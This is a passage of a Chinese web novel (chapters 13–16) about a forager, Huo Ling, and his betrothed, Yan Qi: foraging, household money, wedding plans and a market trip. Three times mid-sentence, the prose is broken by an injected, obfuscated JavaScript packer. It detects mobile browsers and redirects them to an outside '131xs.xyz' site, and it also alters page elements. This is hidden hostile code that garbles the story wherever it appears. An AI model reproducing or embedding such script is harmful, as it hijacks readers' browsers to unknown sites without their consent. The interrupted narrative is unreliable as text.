屋里只剩他俩人,很快亲亲热热地挨坐在一起。 肖明明不是空手来,带来些林家自晒的地瓜干,留了些在外面给叶素萍和霍英尝,余下的这会儿也搁在炕桌上。 两个哥儿各拿了一条,边啃边说话。 “你的意思是,等你和霍大哥拜完堂,就要跟着他上山去了?” 肖明明黯然道:“还想着常来找你串门子,这么一来,一月里咱俩也见不上两回。” 颜祺嚼着地瓜干,腮帮一动一动。 “我当初跟他回家,就答应了要跟他进山的。” “你真的不怕?这处的山,和咱老家的山可不一样。” 让肖明明进山,他是打死也不肯的,光是想想可能有熊瞎子在林子里逛,八成就吓得睡不着觉。 颜祺果断咬断地瓜干。 “没啥可怕的,再可怕,能有咱走过的这一路可怕么?” 肖明明听罢愣了愣神,旋即也释怀。 “要是这么比,那确实不算什么。” 于他们而言,现在只要活着,有饭吃,有衣穿,就都算是赚来的,实是不该挑日子如何过。 况且白龙山丰饶,人在里头,说不准过得比山下还舒坦。 13.相思豆 熟人相见,能说的着实太多。 从成亲的喜酒说到双井屯没了的田哥儿,让人喜忧各半。 末了颜祺有意不提这些,没得用别人的事坏了自个儿的兴。 他搬过自己的针线筐子,换了话茬,让肖明明给他出个主意。 “我那日随手缝了个荷包,素面的不说,走线也不多齐整,愣是让他要了去。” “长久用着多不像话,我也没别的能拿得出手,不妨再给他做个新的,只是想不出能绣什么花样。” 因霍凌实在太英武,寻常的绣花样子怎么想都不合适,绣个花只怕太艳,绣个竹也不相衬。 肖明明托着腮,同时努力用舌尖蹭掉黏在牙上的地瓜干,皱着眉毛苦思起来。 结果还真让他想到一个,比划道:“要不……你绣一支带叶的红豆?” 红豆寄相思,样式不俗,寓意也好,哥儿赠给汉子,怎么瞧都拿得出手。 颜祺顺着一想,在那布头上比划三二,含笑决定道:“那就这个。” 淅淅沥沥的水声中,白龙山迎来今春第一场大雨。 天色阴沉,惹得霍凌睡过了头,他掀被下炕,推门而出,站在屋内,对着院子抻了抻筋骨。 大个儿也从西屋溜达出来,抬起后爪挠了挠耳朵,坐在霍凌身边陪他看雨。 时不时动动鼻子,嗅着山风和雨水送来的新鲜气息。 今年的天较去年的旱,头茬雨来得晚,令霍凌不由庆幸白日里寻到了五对猴头菇,足有十个干黄包,不然被这场雨一打,全都得烂在树上。 唯一恼人的是明日十四,正是该下山的时候,倒是八成要踩一脚湿泥。 但一想到这遭下山是为了成亲去的,还能见着夫郎,便是踩泥巴心里也美。 和大个儿一起分了一锅窝头,挖干净罐子底余下的几口茄子酱,等到雨势小些,他往脑袋上扣顶草帽,换上草鞋出了门。 一声呼哨,大个儿直奔最近的兽套而去,霍凌紧随其后。 这条路上的树没什么看头,只要是能采的早就采了个干净,因此霍凌直接掠过。 到了兽套附近,五个跳套里有两个得了野物,一只野兔和一只榛鸡。 榛鸡不大,上了秤够不上一斤,勉强炖一锅汤,胜在肉鲜味美,在关外的酒楼里又叫飞龙,意思是吃榛鸡堪比吃龙肉。 这东西用套子捉得慢,猎户用弹弓的多,但那般只能当日下山卖出,不然死了的隔一夜就不新鲜。 霍凌靠着兽套这几日捉着五只活的,现下都养在收拾完后空出一半的杂屋里,预备明日和野兔一起搁笼子里带走。 可惜除了几只兔几只鸡,还有他前日兴起下河逮得两只山沙鸭,这回下的套子也好,挖的陷阱也罢,都没得个大东西。 不过话说回来,大东西哪那么好得,就像赶山客也不可能成日挖人参。 拿绳子捆了,撤去几处兽套,霍凌先将活着的野物送回家,兔子进笼榛鸡进窝,左边塞一把菜叶子,右边丢几根发出几个嫩芽的桦树枝子,由着它们吃。 之后仍是一头扎进山里,他带着大个儿在山间穿行,打算多捡几双鹿角下去。 过了午,小雨渐停,扎根在树上,蔫巴了一冬的腰子草吸饱了水汽,变得翠绿油亮。 霍凌将麻绳绕过树干,踩着脚扎子一步步攀上,徒手拔掉一捆新鲜的绿草。 同样的绿草他腰间的口袋里已有不少,待把附近几棵树上的采空,他随手揭了几条树皮下来将草捆好。 忙完发现大个儿没了动静,他张望一圈,发现这狗正试图把脑袋拱进一个贴地的树洞。 听到霍凌走进的脚步声,大个儿看他一眼,转而对着树洞刨了两下。 “这里头有东西?” 霍凌蹲下来,把狗旁边推了推,扶着树洞上方低头去看,本以为是有被大个儿堵在里面的松鼠,不料竟是满当当的黑油子。 所谓“黑油子”是桦树茸里的上品,多生在朽空的桦树洞里,通体漆黑油亮。 因这个缘故,赶山客遇见桦树洞都会看一看,只是这处霍凌还没顾上瞧,就这么被大个儿率先发现了。 “好小子,下山给你买大骨头吃!” 霍凌用力搓两把狗头,试了两下姿势,最后改成匍匐在地的模样,才把树洞里的黑油子彻底掏空。 若是一棵桦树上桦树茸生的太多,桦树就会这般慢慢腐坏死掉,赶山客采桦树茸素来是不手软的,毕竟留得下树方得长久。 黑油子不仅色深,还沉得有些压手,当是有个三斤多,哪怕有几块掰碎的,里面也不见发黄的内里。 粗略算一算,这一下子的收获就能卖到一两银。 在山里待足了三个多时辰,霍凌肩扛手提着满当当的东西回小院。 入了夜,他盘腿坐在炕上数钱匣里的银子。 和山下的农户相比,赶山客只要吃得下苦,一年到头称得上旱涝保收。 霍凌十八岁起常居山中,到如今已有个五年光景,一年最少也能赚个三十两上下。 如若挖到了野山参,还能多出来个十几二十两,甚至更多。 不过赚归赚,也还总有花销的地方。 先是早几年和大哥一起还的家中外债,以及抵徭役的折银,再是他一年里会给哥嫂十两作公中用度。 而剩下的进账中,少不得再花去个十几两,用在人情来往、吃食日用,或是添置、更换赶山的用具等事上。 像那脚扎子是铁打的,价贵,因太常用反而容易坏,少不得一季里换上一副。 腰间的短匕锋利,早前还有一把使惯的,由此意外掉进山沟里,不得不花二两多锻了把新的。 再有就是大个儿,这狗太能吃,一年到头算笔账,补贴到它嘴里的伙食花销也得有个几两了。 于是年尾里少则余下六七两,多则余下□□两,现下匣子里有铜板有碎银,合在一处共是五十两左右。 要说少,不算少,五十两能在村里买上五亩的良田,或是两头壮牲口,起一处村屋的话,便是屋顶全盖青瓦也够。 要说多,却也不算多,因上面说的几样霍凌都没有,往后若要按照当初村长的叮嘱,一样样挨个做过去,且给手里留一份压箱底的银钱,可想而知还得赚多少。 他从前没娶亲时,何时为这些事犯过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696356|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愁,要说一人吃饱全家不饿是清闲,但他从未打算做一辈子孤家寡人,如今肩上多了担子,不觉得沉甸,只觉得有奔头。 本着宁多勿少的想法,霍凌自匣子里取出十五两,点明白后将几块碎银搁进颜祺缝的竹青色荷包里,抽绳系了口,睡前放在床头,省的明天忘了拿。 —— 家中好事将近,霍峰和叶素萍近来走到哪里都是一脸笑模样。 来往走动的也都少不得打听一二,为此颜祺多日来跟着叶素萍一起,识得了村里不少人。 无论什么人,当面时都是一团和气,等人走了,叶素萍便会跟他讲哪个好相与,哪个是真实在,哪个交不得心。 颜祺一一记下,别的都还是其次,关键是下回见了不能叫错了人。 他也不图和谁交心,能有个明哥儿一道说说心里话,家中又有大嫂在便已知足。 将来和霍凌进了山,在山下的时间本就少,人情一事上能省去不少烦恼。 又送走东边邻家来的一个媳妇,对方是拿了十个鸡蛋来,说要换五个鸭蛋回去给孩子吃。 村里养鸭的人家不多,霍家的鸭子在叶素萍的操持下算是养得好的,常有人这般上门换。 “这一篮子鸭蛋又满了,十五那日正好拿去集上卖了,鸡蛋我都留着,过几日做席面好用,暂先不卖。” 叶素萍叫上颜祺一起数蛋,一篮子鸭蛋是四十个,家里共五只母鸭子,入夏前天寒,窝里并不是天天都有蛋,半个月才凑出这么多。 颜祺知道往常家里卖蛋,都是让霍凌连带山货一起捎带着去,这回他应当也能跟着去,遂跟叶素萍道:“到时候我帮嫂子卖蛋。” “那敢情好。” 叶素萍欣慰笑道:“镇上大集热闹着呢,你正好趁进山前去一趟。” 她自己去不得,是因霍峰农忙时都在地里,农闲时也多是去镇上做工,她一个做嫂子的,总不好牵着闺女跟着小叔去叫卖。 实际霍凌要是带的山货多了,常有顾不上鸡蛋的时候,这东西容易碎,碎一个损失的可都是实打实的铜子。 现在多了个颜祺能添把手,卖蛋就方便得多。 颜祺摸着篮子里圆润的蛋,问叶素萍山上能不能养鸡鸭。 在乡下除了田地能打口粮挣银子外,家里最值钱的就数鸡鸭,养大了能下蛋,老了后还能宰来吃肉,产的粪能肥田,平日给些麦麸、苞米、菜叶就能活,这些东西是家家都有的。 媳妇和夫郎没法和汉子一样进城做工,大多只能靠卖蛋存些体己。 可惜叶素萍给他泼了个冷水。 “这是真不成,山上不比山下,那些个老鹰和夜猫子鸟满天飞,一抓一个准儿!我过门早,以前听咱婆母讲,她年轻时也曾在山上养过,后来都没养住,实在想吃了,就去摸几个野鸭蛋和山鸡蛋打个牙祭。” 说到这里她一笑。 “大峰和老二小时候在山里长大,没少干这事。” 颜祺一听养不得鸡鸭,家里少了个进项,难免失望,可转而听叶素萍讲起霍凌,又觉那点不愉淡了。 再一想到今天霍凌就要回来,心里更是热乎乎的。 14.小重逢 天冷的地方,人人都盼出大太阳。 颜祺仰头见天色好,从与霍凌两人睡的炕上搬出枕头来晒。 霍家的枕头填的是荞麦皮,常晒着才不易招虫,晚上躺下时还能闻到暖融融的味道。 叶素萍见状也抱出一床霍英的小被,用力拍打了几下。 因怕有鸟雀路过在上面拉屎,颜祺没走开,坐在下面守着,针线筐放在膝上,里面是还没纳完的鞋底子。 都说一场春雨一场暖,关外的春暖来得迟,却不是没有,就如现下坐在屋外,晒着太阳不会再觉得手冷脚冷,又或者和他一直吃着,没断过的补药也有关。 上回在马胡子处开的补药还剩个五六副,够喝到下旬的,药吃久了,颜祺都快习惯那苦味,霍凌不在家,他也不舍得去吃饴糖。 霍英见婶伯在这里坐,也搬了个小杌子到一旁,摆弄一个布缝的娃娃,时不时看一眼敞开的院门。 颜祺见她心神不宁的,莞尔道:“英子是在等小叔?” 霍英用力点头,“小叔一去就好多天,每次我都在院里等呢。” 说罢过了一阵,人还没回,她坐不住,去屋里搬出一个小匣子,给颜祺看里面的东西。 实际颜祺已经看过一次,但他不扫兴,再看一遍时还是笑眯眯的,很是捧场地问这是什么,那是什么。 霍英喜欢他,还大方地将上次的圆松果捧出来,让颜祺挑一个。 颜祺哪能要小孩子的宝贝物,正推说不要,眼前猛地一花,大个儿毛茸茸的大脑袋顶到颜祺的怀里,又被霍英一把抱住。 “大个儿,小叔,你们回来啦!” 小丫头欢天喜地,颜祺也忙看向大个儿身后,见霍凌肩扛手挑了好些东西,笑着迈步进来。 “怎的大个儿还排在我前面,你到底是想大个儿还是想你小叔?” “都想!” 霍英原地蹦了两下,而颜祺手忙脚乱地收好针线,扯了两下衣裳后迎上去。 数日不见,两人对视一眼。 仗着身高遮挡,霍凌甩下背篓和手里东西的第一件事,就是牵过夫郎的手握了握。 “我回来了。” 霍英得到了小叔带来的新礼物——一只小巧的鹿骨哨。 进山的人无论做什么,都会在脖子上挂一个哨子,有的是木制的,猎户则大多用骨制。 假若多人结伴,吹哨能告知同行人自己的方位,若是独自进山,遇险了也能赌一把附近有人经过,吹哨求救。 这只鹿骨哨是霍凌收拾屋子翻出来的,上面挂的红绳都褪了色。 霍峰路过,向闺女讨走哨子仔细看,笑道:“这是不是以前咱爹用的哨子,小时候还给咱俩玩儿呢。” 霍英跳着想拿回哨子,霍峰就是不给,气得霍英跑去找娘亲告状,叶素萍立刻提着笤帚出来抽他。 院里鸡飞狗跳好一阵,而霍凌已经绕过大哥一家,悄悄领着夫郎进了屋。 颜祺给他端一碗晾凉的熟水,又拿来浸湿后拧干的布巾好让他擦脸。 搞得霍凌从进门后嘴角就没落下来过。 “这几日在家可好?” 颜祺点头,噙着一抹浅笑,“都好。” 他见霍凌一副想多听些的架势,想了想,从肖明明来家做客说起。 “大嫂和明哥儿帮着我,把那身新衣裳也制出来了,且大嫂还给我做了双鞋。” 他拿出来给霍凌看,霍凌道:“嫂子做鞋的手艺好,从前家里的鞋都是她做,既给你,你就收着。” 颜祺“嗯”了一声,“我想着问问你,大嫂的生辰是什么时候,到时候我也做一双鞋还她。” 听霍凌说在七月里,他记下来,心想那不算太急。 霍凌却又问:“你的生辰是何时?” “十月初六。” 霍凌默念了两遍,说道:“那看来数我的最近,我是六月生的。” 颜祺已经有些了解霍凌,说出来就肯定是有用的,他笑意深了些,抬眼道:“那到时候,我也给你备一份生辰礼。” 霍凌等的就是这句话,反正他是不害臊,汉子朝夫郎讨份生辰礼又不丢人,便是那礼是一碗长寿面,保准都吃得像拌了蜜一样。 两人说了几句话,霍凌就坐不住了,觉得自己一身汗臭,不好意思挨着夫郎,遂拿了件衣裳去屋子侧面,连着烟囱的小屋里洗澡。 这间屋冬日里还拿来养鸡鸭,有烟囱的余温在,鸡鸭冻不死,且还能下蛋。 靠墙圈住一块地,家里人沐浴也都在这处,同样是为了暖和。 太阳高悬,霍凌洗干净出来,散着头发在院里晾晒。 大个儿下山沾了一身灰,毛里还缠有枯叶碎枝,颜祺拿了把专给狗用的大刷子,喊它到自己脚边趴下,抬手给它梳毛。 大狗舒服地背对霍凌卧在地上,把下巴搁在颜祺的脚面,霍凌抬脚轻踢了踢它的屁股。 “哥嫂这几日忙里忙外,把席面的事都安排好了,去三家屯请了个姓梁的灶人来掌勺,也在屠子处要了三十斤的猪肉,酒水也定了。” 颜祺说到这里,又补充道:“大哥说江水开化了,到时还能去网几条大鱼来做菜。” 这开江的景色他前日还去看了,途径下山村的河道不算宽阔,但冰排开裂,顺流而下的样子还是看得人移不开眼。 霍凌道:“差不多了,再加上我带下山的几只兔儿和野榛鸡,不必宰家里的鸡鸭,都还在下蛋的好时候,宰了可惜。” 刚刚颜祺已见过那几只野物,都尚活着,只是蔫头耷脑的。 家里人商量着,到时让灶人将兔子切丁做菜,榛鸡加蘑菇炖一锅,那般更出数,端上席面才好看。 “是,我也觉得能不宰就不宰,一天能收好多个蛋呢。” 他问霍凌明天赶集,自己是不是跟着去,“你在家时忘了问你,我答应了大嫂帮她去卖蛋。” 问完还有些担心霍凌不许。 不过霍凌哪里会拒绝,“你要乐意就跟着去,就是得起大早。” “我不怕起早。” 乡下谁不起早,睡到日上三竿那叫懒蛋。 颜祺一听可以去,眸子亮亮地道:“那我一会儿再和大嫂说一声。” 要不是在院子里,霍凌这时候很是想亲他一下。 但因有个叼着骨哨的侄女满地疯跑,终究只是克制地捏了捏小哥儿的手。 头发彻底干透已经是下午,颜祺拿着发带,半跪在炕上帮霍凌梳头,不然够不着。 将发丝理顺全部束起,露出的五官英气逼人,反而比散发时更惹眼。 颜祺盯得时间略长了些,被霍凌抓了个正着。 “看什么呢?” 汉子故意问。 颜祺慌乱间拿着梳子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15702116|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要下炕,霍凌轻扯过他的手腕。 …… 大白日里胡闹一顿,出了屋的小哥儿嘴唇水红,努力抚平衣襟上的褶皱,抿着唇不好意思张开。 入夜,霍凌揣了银子去寻哥嫂。 这几日他不在山下,为了准备席面,哥嫂定是贴补了不少钱,光猪肉、酒水加在一起就要二两银上下。 那梁灶人也是个手艺好、有名气的,往外村掌勺一回收八钱,靠这个掌灶的本事,家里青砖瓦房盖了数间,院子大得能跑马。 谁家摆酒能掏得起银钱请来他,那是倍加有面儿的事。 再者油盐酱醋,届时亦是流水一般地用去,他今天回来就见灶房里多了几斤菜油,一大包盐,酱油和醋各两坛子,这些个吃用的东西,没有哪个是便宜的。 “嫂子,这两块银子加在一起该是有个五两的数,你先收着。” 进门后他二话不说就把钱放上炕桌,叶素萍想也不想,直接拿起来拍回他手里。 “你这小子,把你亲哥亲嫂子当什么了,还算起账来了。” “我娶夫郎,哪能让哥嫂掏钱?” 霍凌反手再度把银子放下,这回换成霍峰,指着银子让他拿回去。 霍凌不肯,霍峰直接拿起给自己媳妇,朝西屋抬抬下巴。 “素萍,你拿去给祺哥儿。” 叶素萍立刻要下炕,见此,霍凌只好拦下大嫂。 “小祺他尚还不算正式过门儿,懂个什么。” 霍峰满意地盘了盘腿,他本也无意真去找颜祺,霍家娶夫郎的事,哪能让人家小哥儿掺和进来跟着犯愁。 “这事儿你别啰嗦,我和你嫂子早就商量好了,往远了说,当初分家我就已经占了便宜,往近了说,这些年我俩连带英子没少沾你光。” 霍凌对家里人大方,除却从山上带下来的山货和野物,进城回来时也没少买各色村里少见的物什。 霍英的零嘴没断过,霍峰和叶素萍两人也都有霍凌过年时买的新布制的衣。 他坚持道:“爹娘要是还在,你成亲就是爹娘出钱,二老不在了,这就是我和你嫂子的责任,现下好歹是把你这事办完了,我俩以后也了一桩心事,钱上就别争了,不是什么大钱,这点银子我和你嫂子总还拿得出。” 霍英倚在她娘怀里,由着她娘拆辫子,此时小大人一样地插嘴,帮着爹娘说话,“就是就是。” “什么就是,你听懂我们在说什么没?” 霍凌含笑,伸手捏了捏她的小鼻子。 “听懂啦,不就是在说小叔娶夫郎?” 钱的事暂且不争,争也争不出个什么,来都来了,霍凌没急着走,坐在炕沿上与哥嫂将此事细细议了一番。 定下明日去赶集卖山货,后日十六往双井屯取打好的箱柜,十七日再休整一日,就好备着迎接正日子的喜事了。 “明天我去镇上,扯块红布回来做腰带。” 村子里成亲基本没有专做嫁衣的,那等衣裳红艳艳的,一辈子就穿一回,多浪费银钱,一般也就是裁两根红腰带,至多再安排一条红盖头。 但颜祺本身已进了霍家门,都和霍凌睡一张炕了,依他自己的意思,盖头也省了就是。 等到他将要回屋时,霍英已经蜷在靠墙的地方睡着了,霍凌替哥嫂轻关了门。 因担心颜祺也睡了,特地放慢了脚步。 15.赶大集 小哥儿实际并未睡下,正守着灯等人归。 他见霍凌进来,放下手中东西揉了揉眼,往炕沿挪了挪问道:“如何,哥嫂收下银子没?” 霍凌因他等自己,心尖儿泛软。 接着将银子给颜祺,示意小哥儿放回荷包。 “怎么也不要,你推我给好半天,中间看我不收,还非让大嫂拿着过来给你。” “实在不成,回头我买几样东西,把这钱贴补回去。” 纵然霍峰说在分家上自己占了便宜,但在霍凌眼里事情不是这么算的,爹娘早逝,家里做长兄的本就更辛苦。 娘生病那几年,他年岁还小,被留下照顾娘,家里的进项全靠大哥进城做工贴补,去舅舅家和村里几家借钱,也是大哥出面,厚着脸皮去求人。 当初欠下的债加起来小几十两,往后过了好几年才还清。 颜祺思索半晌,“钱数不少,拿出来无论买成什么,给出去时哥嫂肯定还要推脱,你若是硬给,反而显得生分了。” 霍凌自是比他更了解自己大哥,“确实,到时候大哥说不准还要和我动真火。” 颜祺默了默,试着给霍凌出主意。 “给哥嫂不成,给英子却好说,不如我给英子缝两身新衣裳,做都做了,大哥和大嫂总不好不要,然后等到年节下,咱再多给英子包些压岁钱。” 霍凌喜欢听这个“咱”字,不知是不是错觉,他总觉得上山几日,下来后小哥儿同自己更像一家人了。 怪不得人家都说小别胜新婚,他们可不是正要“新婚”。 顺势想下去,当即一笑。 “就这么办,还是你周到。” 什么东西只要开口说是“给孩子的”,当大人的就没法子不收,毕竟做长辈的给小辈塞几样东西,本就是应该的,他和颜祺还是霍英的亲叔伯。 “只是又得劳累你做针线活。” 他看颜祺的手指都被线给勒出了印子,不由探手过去搓了搓。 “这有什么,谁家不是成日做,我做婶伯的,要是进门后不给侄女做身衣裳才是说不过去。” 颜祺不觉有什么,妇人夫郎家的,打发时间的活计不就那么几个,他从前没嫁人,还在老家的时候也是睁眼闭眼总在缝缝补补。 手指上是有印子,霍凌的手上不也有茧子,还有留了印子的疤呢。 要说苦,肯定还是家里的顶梁柱最苦。 说到这里,他把炕桌上的油灯往旁边推了推,拿出刚刚霍凌走时加紧收了最后几针的新布鞋,咬断最后一根线头,朝前递了递。 “差点忘了,你快来试试合不合脚。” 新做的布鞋多半都有些挤脚,是布料偏硬的缘故,穿一穿就会松快。 霍凌套上鞋,因鞋底是干干净净的,直接在炕上走了两步,用力踩了踩。 “合适得很。” 他如今也是穿上夫郎做的鞋了。 新鞋要留到成亲那日穿,试过后脱下放到一旁,霍凌转而问颜祺药喝的如何。 “日日喝着,一顿不落,我觉得好多了,晚上睡得踏实,白天也有力气,马郎中的医术真是不差。” 霍凌奇道:“真这么神?让你说的,他都快赶上神医了。” 颜祺挠了挠脸颊,“真的,明哥儿也说呢,兴许是关外的药材好?” 两人又不懂医,说不出个所以然,霍凌颔首,“甭管怎样,有用就行,那就说明药钱没白花。” 睡前进被窝,霍凌碰了碰小哥儿的脚,发觉还真的有些热乎气了,之前都是冰凉的,捂一晚上也捂不暖。 “等把剩下的喝完,估计咱也该上山了,上去之前再去找马胡子一趟,看看他怎么说。” 颜祺一听可能还要喝药,立刻觉得嘴里发苦,可他又不敢说什么,需知之前说了也不管用,便听话应声好。 霍凌时隔几日重新搂到了夫郎,心里多开怀,和人贴在一处,讨足了不少好处。 颜祺懵懵懂懂,被他像个面团似的揉搓着亲,过了好一阵,被子起落间又丢出两条脏帕子。 小哥儿垂眸羞着,任由霍凌给自己擦手,心道八成洞房也就是这样了,要说还能有什么比已经做过的事还亲密,还真是想不到。 —— 晨起,天才蒙蒙亮。 霍凌要和颜祺一起去赶集,霍峰和叶素萍都来搭把手,一并收拾东西。 兄弟俩合力扯开绳子,将几双鹿角捆好,中间打结,方便霍凌提在手里。 颜祺也背了个小背篓,里面装满了晒干的腰子草和猴头菇。 这两样看着多,实际没多沉,有分量的东西都被霍凌揽去了。 余下的一篮子鸭蛋虽不轻便,但不敢放背篓里,颜祺检查好几遍,确定干草垫得足够多,又把最上面的麻布盖好,稳稳地挎在臂弯上。 看他们手上肩上都占满,霍峰不由感慨,“啥时候咱家能有辆牛车,你去赶集就轻便多了。” 这还是山货不全的春季,能带去赶集的到底不多,等入了夏,一路到秋,山里的各样东西捡都捡不完,回回霍凌都累得不轻。 可一头牲口比一亩肥田还贵,谁家买了牲口,秋后还得多缴税钱,再算上制打板车的花费,说归说,他一时半会儿还真拿不出。 买牲口的事上,霍峰没想过让霍凌出钱,因他二弟不种地,牛车也赶不到山上去,最好是他们这房买了,霍凌下山时让他们小两口拿去使。 霍凌往上拽了拽背篓绳,掂了掂手里的鹿角,他力气大,扛百八十斤都能健步如飞,这点东西算什么。 “以前好些年不都是这么过来的,靠山吃山,赚的就是这个钱。” 去镇上要趁早,不然路上远,等到了地方错过了头茬的客,生意不一定好做。 颜祺落后霍凌两步出了门,走两步就要低头看一眼蛋,霍凌起初没说什么,走出一节后才低头道:“等出了村,半路要是有顺路去镇上的牛车,咱就搭一程。” 颜祺闻言,微微仰头看霍凌,“你以前自己去镇上,也搭牛车么?” 霍凌笑道:“我不搭,走也走去了。” 颜祺遂道:“那咱不用搭,我也能走。” 霍凌立刻后悔,忘了他这夫郎最是爱替自己省钱的,赶紧找补道:“不过有时也搭,像今天东西带得多,不差那几个铜子的车钱。” 说完还特地把鹿角往上举了举。 “你看看这些个东西,背篓也放不下,多碍事。” 颜祺默默走路,并不说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15713554|173364||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话。 霍凌的话他压根不信,要知道就算半路遇见牛车,要么是人家自家拉货拉人的,要么是专做这营生的,无论哪种,霍凌的鹿角上去,怕是能挤去好几人的位置。 届时多半根本没空位,真想坐,定要多掏上几个人头钱。 看汉子大步流星的样子,还是习惯了在山里一天走几个时辰,一年到头磨破好多鞋的,怎会常搭车去赶集。 今天离了家才忽而说要搭车,只因多了个自己。 眼看颜祺的步子越走越快,霍凌只得怪自己多话。 走出六七里地后都出了汗,赶路赶得还是急了些,霍凌喊颜祺停下,在路边石头上坐着歇歇脚。 此时天已亮透,霍凌解下腰间水囊,拧开后先让颜祺喝。 小哥儿接过去“咕嘟咕嘟”灌了两口,舔了下嘴唇,疑惑道:“这水里泡了东西么?” 说罢还眯着眼朝水囊口子往里看,但口子太小,实在是看不出什么。 “早起泡了些桦树茸进去,昨天不是筛出来些太碎的,拿去卖也得被人挑拣,就留下咱们自己喝。” 霍凌也喝了几大口,把瘪了一节的水囊重新系回去。 他这腰上东西可不少,素日进山也是这般。 “常喝些对身子好,味儿不奇怪,也能解渴。” 桦树茸泡水喝起来就是一股子草木味,不过不涩嘴,温温和和的。 颜祺拿手背蹭了下湿漉漉的嘴角,看霍凌额边挂着汗珠子,他从怀里掏出帕子让他擦汗。 霍凌用完,脏兮兮的也不好再给夫郎用,随手放进自己的褡裢里,颜祺也没往回要,他出门带了好几条呢,就是防着在外出了汗脏了手没法擦。 回家后一股脑洗了,干得也快。 辰时初,夫夫二人到了保家镇。 十五的大集日热闹非凡,骑驴的赶牛的,连带像他们这般步行而来的,把进镇的那节道路挤得水泄不通。 霍凌带着颜祺熟门熟路地绕行小道,后者只觉七拐八拐,等到从一条长长的巷子里出来后,眼前豁然开朗。 遥望道路尽头,似还有幢青瓦朱墙的庙宇,不走到跟前都能闻到淡淡的香火气。 霍凌占下一处地方,摘掉背篓,见颜祺盯着另一边望,开口道:“那是咱镇上的城隍庙。” 说到这里,他想起什么。 “过年时哥嫂定要让我去拜城隍奶奶求姻缘,我上香的时候还被香灰烫了一下。” 那时候霍凌本不想去,城隍奶奶面前和城隍老爷不同,全是些求子求姻缘的女子哥儿,他一个汉子挤进去算什么。 等出来后叶素萍见他搓手指,得知香灰落下来烫了手,高兴地拍了他胳膊好几下。 “你个傻小子,这是城隍奶奶显灵了!” 为此还惹了一个瞧好霍凌的婆子上来打听,只是一听汉子是赶山客就摇头撇嘴地走了,把叶素萍气得够呛。 后来叶素萍从镇上一路说回家里,讲今年霍凌定有好姻缘,别理那劳什子不识货的婆子。 当初霍凌打心底里不信,什么香灰不香灰,巧合罢了。 而今他却看向颜祺,用胳膊轻挨了下小哥儿的肩膀。 “这么说来,咱俩是不是该去还个愿?” 16.学着卖 颜祺没想到话头绕一圈落在自己身上,但不管怎么说,若是在城隍庙所求成真,的确该去还愿,这等规矩不能破。 而且真到了城隍庙门前,他还确实有些想进去。 因为以前听老人说过,若是亲人去世,不得去坟前拜祭,便可去城隍庙上香烧纸,这样底下的人也能收到,有人惦记,就成不了孤魂野鬼。 他拿不准霍凌是说说而已,还是真的想去,犹豫了下问道:“那今天去么?” 霍凌本也是话赶话想到这茬,城隍庙就在这里,跑又跑不了,今日来不及,改日来也行。 然而此时他注意到颜祺眼神里隐约的期盼,念头动了动,意识到什么,点头道:“都到门口了,东西卖完就去。” 随即拿出卷起的草席,和颜祺一人一头扯平铺开,再将山货摆上去。 颜祺做事比他细心,猴头菇按大小排列,桦树茸和松黄黑一堆、黄一堆,和腰子草一样,放在开口向下卷起的麻布口袋里,显得多而干净。 摊子上最醒目的依旧是鹿角,高低错落地挤在一起。 最后则是一篮子鸭蛋,放在颜祺的眼皮子下。 今天不同于上次霍凌下山,大集的日子摆摊的赶山客多起来,又逢捡鹿角的季节,各个面前卖的东西都是老几样。 见差不多了,霍凌开始扯嗓子叫卖,连带鸭蛋一起,喊得好几人驻足。 颜祺则专注地坐在他身边,提防着有路过的人趁机摸东西。 以前在老家时,每次赶集都能撞见有人抓偷儿,手脚不干净的人多得很。 有些是趁人多顺你的荷包钱袋,还有的纯粹是小偷小摸,占些便宜,这家揪一把菜,那一家拎两个果,真报官了人家官爷都懒得管,可也实打实地恶心人。 谁家带来的东西不是辛苦种、辛苦采的,本也赚不得大钱,走几个时辰来一趟,能换几包盐糖就烧高香。 摊子上最好卖的东西无疑是“黑油子”,桦树茸要想变成“黑油子”,需得在树洞里生上好些年,可遇不可求,才一摆出来就引得一眼尖的凑上来问价。 霍凌熟练地报了个四钱一斤的价,对方立刻道:“你这价可有点高。” “要是一遭都拿走,价钱也好商量。” 霍凌认出这汉子是个牙行的牙人,这类人好每天游走街头打听各类货的行情,有些也会凭着灵通消息,低价将货囤买在手,等行情走高时再转卖出,或是受人雇佣,帮着进货。 他是不喜卖给牙人的,为了当中能多挣一份钱,他们把价压得极低,常常是磨破嘴皮子也做不成一单生意。 好在很快又来了个走商问价,别看保家镇小,可它是最靠近白龙山脚下的小城,是以除去大雪封路的时节,何时都不缺人。 